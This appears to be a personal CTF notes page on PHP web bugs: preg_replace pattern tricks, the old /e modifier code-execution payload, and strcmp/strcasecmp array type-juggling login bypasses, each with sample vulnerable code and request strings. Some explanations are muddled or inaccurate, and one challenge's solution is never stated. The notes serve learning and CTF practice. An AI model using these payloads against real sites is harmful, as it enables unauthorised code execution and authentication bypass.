# PHP

## PHP Web Challenge

### preg\_replace()

It is used in string manipulation to search and replace specific patterns with strings.

`$final_string = preg_replace($pattern,$replace,$input)`

> $pattern = strings being listed.> \
> $replace = to be replace if match> \
> $input = from user.

```javascript
Example 1.

$input = " Hello Master "
$pattern = "/Master/i" // in regex, I represent case-insensitive.

$replace = "hacker!"

$result = preg_replace($pattern,$replace,$input)
echo $result

//Output : Hello hacker!
```

```javascript

$input = "My email is john.doe@example.com, and Jane's email is jane.doe@example.net.";
$pattern = "/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/";
$replacement = "[email]";

$result = preg_replace($pattern, $replacement, $input);
echo $result; // Output: "My email is [email], and Jane's email is [email]."

```

```javascript

$input = "2 cats, 4 dogs, and 3 birds.";
$pattern = "/\d+/";

$callback = function ($matches) {
    return $matches[0] * $matches[0];
};

$result = preg_replace_callback($pattern, $callback, $input);
echo $result; // Output: "4 cats, 16 dogs, and 9 birds."

```

#### Sample CTF

```html
<!DOCTYPE HTML>
<?php
  require("flag.php");
  if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
  }
  if (isset($_GET['anime_is_bae'])) {
    $your_entered_string = $_GET['anime_is_bae'];
    $intermediate_string = 'hellotherehooman';
    $final_string = preg_replace(
	    	"/$intermediate_string/", '', $your_entered_string);
    if ($final_string === $intermediate_string) {
      super_secret_function();
    }
  }
?>

<html>
  <head>
    <title>Challenge 1</title>
  </head>
  <body>
    <h2> Source code says it all</h2>
   <h2>HINT : see how preg_replace works</h2> 
    <p>Try to reach <code>super_secret_function()</code></p>
    <a target="_blank" href="?source">See the source code</a>

  </body>
</html>
```

The above code can be divided into multiple parts.

1. Read Source Code

```
 if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
  }
```

Providing the URL with value source.`http://URL/index.php?source`

2. Get parameter

```
if (isset($_GET['anime_is_bae'])) {
    $your_entered_string = $_GET['anime_is_bae'];
```

Supply the URL with value `anime_is_bae` with any text. Then it will store in `$your_entered_string`

3. preg\_replace

```
$final_string = 
preg_replace("/$intermediate_string/", '', $your_entered_string);
```

It will check the `your_entered_string` with `preg_replace`. The pattern here is `/$intermediate_string/`, if similar it will return, (whitespace).

4. Condition check

```
if ($final_string === $intermediate_string)
```

Lastly, it will check `final_strings` with `intermediate_string`. If the condition meet, it will return `super_secret_function()`

#### **Exploitation.**

preg\_replace check for all character. For example "hello", 'c' and etc.

If the input strings match 100% as the pattern. It will replace the strings with `$replace`.

In this case, the `$intermediate_string` check with `$your_entered_string`

```
$your_entered_string = userinput
$intermediate_string = hellotherehooman

intermediate_string === final_string
```

As we can see, the user input can directly bypass since it only checks full words `"hellotherehooman"`

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2F4qJ3sdeQbWYROO93kwGm%2Fimage.png?alt=media&#x26;token=49b2440b-bd71-4c22-b334-bf5e6d600204" alt=""><figcaption></figcaption></figure>

#### Another CTF

```html
<?php
echo "<br >Welcome My Admin ! <br >";
 
if (isset($_GET['pat']) && isset($_GET['rep']) && isset($_GET['sub'])) {
 
 $pattern = $_GET['pat'];
    $replacement = $_GET['rep'];
    $subject = $_GET['sub'];
 
 echo "original : ".$subject ."</br>";
    echo "replaced : ".preg_replace($pattern, $replacement, $subject);
}else{
    die();
}
?>
```

We can see the URL receive 3 GET inputs, namely as `pat`, `rep` and `sub`. For each `GET`, it represent `pattern`, `replace` and `subject/input`.

`http://URL/index.php?pat=/As/&rep=as&sub=your exploit`

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FJbj7U738PQVpSxK1KQtb%2Fimage.png?alt=media&#x26;token=8e5339fa-d041-4461-acb8-34207ef2a720" alt=""><figcaption></figcaption></figure>

**Exploitation**

PHP version 5.0 and below. Can execute `/e/` modifier.

`http://URL/index.php?pat=/a/e/&rep=phpinfo();&sub="Payload"`

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FQXLzzcY5qMuB6UnYHExy%2Fimage.png?alt=media&#x26;token=b6a3629c-9a12-4f02-b298-5546a286bafd" alt=""><figcaption></figcaption></figure>

Proof that we can bypass it.

### PHP Type Jungling

PHP will automatically perform conversion from one data type to another based on context. This is referred to as type juggling.

There are strict `(===)` and loose`(==)` comparisons.

In PHP, **==** is used for the loose comparison of variables. This means PHP will attempt to convert variables where it appears to make sense

The vulnerability occurs in loose comparison.

```
if (strcmp($username, $_POST['username']) == 0) {                                                     
        if (strcmp($password, $_POST['password']) == 0) {                                                 
            $_SESSION['user_id'] = 1;                                                                     
            header("Location: /upload.php");        
```

If `(($username == _POST['username'] )==0)` and `(($password == _POST['password'] )==0)` it will return to the endpoint `/upload.php`

Since the strcmp can be manipulated as an array. Assign the `$username` as an array to bypass comparison.

`username[]=anything&password[]=anything`

#### strcasecmp

Binary safe case-insensitive string comparison where `trcasecmp(a,b)` will return `null` when either `a` or `b` is not a string. In addition, `null` has the same numerical value as `0`. Since we use `==` operator instead of `===` here, then `null == 0`.

```html
if ($_SERVER['REQUEST_METHOD'] === 'POST') 
{
    $password = $_POST["password"];
    if (strcasecmp($password, $FLAG) == 0) 
    {
        echo $FLAG;
    } 
    else 
    {
        echo "That's the wrong password!";
    }
}
?>
// There for,  password[]=anything will return true.
```
